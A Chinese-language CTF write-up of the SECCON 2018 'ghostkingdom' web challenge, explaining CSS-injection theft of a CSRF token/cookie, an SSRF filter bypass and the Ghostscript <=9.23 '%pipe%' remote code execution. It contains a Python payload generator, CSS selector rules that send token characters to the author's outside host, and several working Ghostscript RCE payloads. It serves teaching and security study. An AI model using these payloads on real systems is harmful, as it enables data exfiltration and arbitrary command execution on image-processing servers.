2018SECCON ghostkingdom
唯一的一道web題,週末有事去啦就沒做上,賽後覆盤了一下。
有兩個之前沒學過的知識點, CSS injection
和 Ghost命令執行
(暑假出來的時候太懶就沒復現T_T
這篇writeup想以另外一種形式來寫,會更注重下這兩個漏洞的原理和利用。
ghostkingdom
主要功能
題目開始是個簡單的註冊登入,登入的時候仔細觀察可以發現登入的賬號密碼是通過GET方式傳輸的(稍後會有用
進去之後有三個主要的功能點
- 給管理員傳送訊息(測試xss似乎不管用
- 截圖
- 上傳影象(只有本地登入的使用者才可以開啟這個功能
一番測試之後,可以發現傳送訊息的url有一些端倪
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=hello&action=msgadm2
明顯可以看出是一段base64的編碼,試圖去修改之後進行xss
很不幸的是尖括號之類的字元被實體轉義了。隨後就想到一個從未用過但是之前在書上一老看到的利用CSS進行XSS
但是吧,學安全這玩意不動手確實是不行,試了半天在本地也沒成功過,最後看了owasp中的一段話真相了
IE 7/8。。那不約等於沒有這種漏洞利用手法。
CSS injection
然後就是涉及到 CSS
的另外一種利用手法,利用 url()
可以傳送請求,來獲取前端頁面中的資料。
這裡還需要關注到另外一個點就是 csrf_token
中的值和 Cookie
中的值是一致的。
也就意味著我們可以利用 CSS
來獲取 Cookie
的值。
screenshot
的介面有個比較明顯的 SSRF
,雖然限制了一些關鍵字,但是還是可以用 0.0.0.0
或者十進位制之類的方式繞過。
這裡有個點一直沒怎麼搞懂,就是需要自己先通過截圖的功能登入一次,讓對方伺服器先帶上cookie(比賽的時候那麼多人,而且那麼多伺服器,不會出問題麼?
只要通過如下的方式,就可以讓對方伺服器帶上Cookie了。
http://0.0.0.0/?user=username&pass=password&action=login
然後就是通過構造包含惡意CSS的頁面,來獲取在 csrf_token
上的cookie值
import base64 def getBase64(s): z = [] for iin'0123456789abcdef': st = s + i z.append('input[value^="{}"] {{background: url(http://kingkk.com:23333?csrf={})}}'.format(st, st)) return base64.b64encode('\n'.join(z)) def formatURL(s): return "http://0.0.0.0/?css={}&action=msgadm2".format(s) print formatURL(getBase64('8dc4811759c90887a1f2d6'))
需要22次,就能依次爆出cookie的值
Ghostscript rce
利用這個cookie登入之後就能訪問上傳圖片的功能。
上傳圖片後還能進行 jpg
轉 gif
的格式轉換。
當上傳一個不符合要求的圖片的時候,會爆出一些錯誤
可以看到 convert
命令的錯誤資訊。就會涉及到八月份底爆出的 Ghostscript
命令執行的漏洞
這裡只要構造好對應的圖片,就能進行任意程式碼執行,讀取flag。(檔案路徑有相應的提示,就不多說
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops
CSS injection
當我們只能夠控制 <style>
標籤中的內容,無法進行標籤逃逸時,可以通過一些特定的方式來獲取頁面中的資料。
比如 csrf_token
獲取後臺頁面中的一些資料。
主要原理是通過css樣式支援的一些匹配,以及 url
可以發起一次GET請求來進行攻擊。
就像CTF題中的,想要獲取 csrf_token
的值,就可以利用 input[name="scrf"]
來選中這個標籤
然後再利用正則匹配
input[name="scrf"][value^="0"] {background: url(http://kingkk.com:23333?csrf=0)} input[name="scrf"][value^="1"] {background: url(http://kingkk.com:23333?csrf=1)} input[name="scrf"][value^="2"] {background: url(http://kingkk.com:23333?csrf=2)} input[name="scrf"][value^="3"] {background: url(http://kingkk.com:23333?csrf=3)} input[name="scrf"][value^="4"] {background: url(http://kingkk.com:23333?csrf=4)} input[name="scrf"][value^="5"] {background: url(http://kingkk.com:23333?csrf=5)} input[name="scrf"][value^="6"] {background: url(http://kingkk.com:23333?csrf=6)} input[name="scrf"][value^="7"] {background: url(http://kingkk.com:23333?csrf=7)} input[name="scrf"][value^="8"] {background: url(http://kingkk.com:23333?csrf=8)} input[name="scrf"][value^="9"] {background: url(http://kingkk.com:23333?csrf=9)} input[name="scrf"][value^="a"] {background: url(http://kingkk.com:23333?csrf=a)} input[name="scrf"][value^="b"] {background: url(http://kingkk.com:23333?csrf=b)} input[name="scrf"][value^="c"] {background: url(http://kingkk.com:23333?csrf=c)} input[name="scrf"][value^="d"] {background: url(http://kingkk.com:23333?csrf=d)} input[name="scrf"][value^="e"] {background: url(http://kingkk.com:23333?csrf=e)} input[name="scrf"][value^="f"] {background: url(http://kingkk.com:23333?csrf=f)}
當匹配到頁面中value值為某一個特定的值時,就設定不同的 背景 (目的是為了利用 url
傳送一次GET請求
GET的請求可以被訪問日誌給記錄。這樣,就可以利用這種匹配的手段,來獲取頁面中的一些值。從而竊取資料。
Ghostscript rce
今年暑假新出的漏洞,當時以為是一門小眾的程式語言,就沒在意了。原來是用來處理圖片的。
ghostscript
用於處理圖片,被內建在一些庫中。網站中處理圖片的功能還是比較常見的,聽說當時好多人刷了一大波src
- imagemagick
- libmagick
- graphicsmagick
- gimp
- python-matplotlib
- texlive-core
- texmacs
- latex2html
- latex2rtf
由於C太菜,就不分析內部邏輯了,直接來看下利用。
需要ghostscript <= 9.23
然後只需要構造一個特定的圖片,就可以任意程式碼執行。
%!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops
將id替換成別的語句就可以執行任意程式碼
(%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt))
Centos中程式碼有些細微的差別
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops
由於暫時沒有centos虛擬機器,就沒驗證了。
在平時滲透測試中,可以測試一些帶有dnslog的poc,來測試是否存在該漏洞。